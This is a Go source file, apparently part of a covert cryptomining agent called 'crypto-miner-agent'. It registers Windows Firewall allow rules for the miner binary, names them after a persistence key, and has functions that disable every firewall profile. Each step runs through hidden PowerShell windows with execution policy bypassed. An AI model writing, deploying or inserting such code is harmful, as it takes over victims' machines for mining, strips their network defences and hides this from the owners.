//go:build windows

package deploy

import (
	"fmt"
	"log"
	"strings"

	"crypto-miner-agent/config"
)

const firewallRulePrefix = "AetherForge"

// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
	if !cfg.FirewallExclusion {
		return
	}
	if strings.TrimSpace(exePath) == "" {
		return
	}

	ruleBase := firewallRuleBaseName(cfg)
	inName := ruleBase + " In"
	outName := ruleBase + " Out"

	if firewallRuleExists(inName) && firewallRuleExists(outName) {
		return
	}

	exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
	script := fmt.Sprintf(`
$exe = '%s'
$in = '%s'
$out = '%s'
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
  New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
  New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))

	if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil {
		log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
		return
	}
	log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}

// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
	ruleBase := firewallRuleBaseName(cfg)
	for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
		script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
		_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
	}
}

func firewallRuleBaseName(cfg config.RuntimeConfig) string {
	key := PersistenceKeyName(cfg)
	if key == "" {
		return firewallRulePrefix
	}
	return firewallRulePrefix + " " + key
}

func firewallRuleExists(displayName string) bool {
	script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
	out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script)
	if err != nil {
		return false
	}
	return strings.TrimSpace(string(out)) == "True"
}

// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
func parseFirewallProfiles(csv string) string {
	csv = strings.TrimSpace(strings.ToLower(csv))
	if csv == "" || csv == "all" || csv == "any" {
		return "Domain,Private,Public"
	}
	var parts []string
	for _, p := range strings.Split(csv, ",") {
		p = strings.TrimSpace(p)
		switch p {
		case "domain", "private", "public":
			parts = append(parts, strings.ToUpper(p[:1])+p[1:])
		}
	}
	if len(parts) == 0 {
		return "Domain,Private,Public"
	}
	return strings.Join(parts, ",")
}

// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
// profilesCSV: "all", "Domain,Private", etc.
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
	profiles := parseFirewallProfiles(profilesCSV)
	enabled := "$false"
	verb := "disabled"
	if enable {
		enabled = "$true"
		verb = "enabled"
	}
	script := fmt.Sprintf(`
$profiles = '%s' -split ','
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
	out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
	if err != nil {
		return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
	}
	return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
}

// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
func DisableWindowsFirewall() (string, error) {
	return SetWindowsFirewallProfiles(false, "all")
}

// EnableWindowsFirewall turns on all firewall profiles.
func EnableWindowsFirewall() (string, error) {
	return SetWindowsFirewallProfiles(true, "all")
}

// RemoveFirewallRuleByName deletes a rule by display name.
func RemoveFirewallRuleByName(displayName string) (string, error) {
	name := strings.TrimSpace(displayName)
	if name == "" {
		return "", fmt.Errorf("rule name required")
	}
	script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
	out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
	if err != nil {
		return string(out), err
	}
	return fmt.Sprintf("Removed firewall rule: %s", name), nil
}
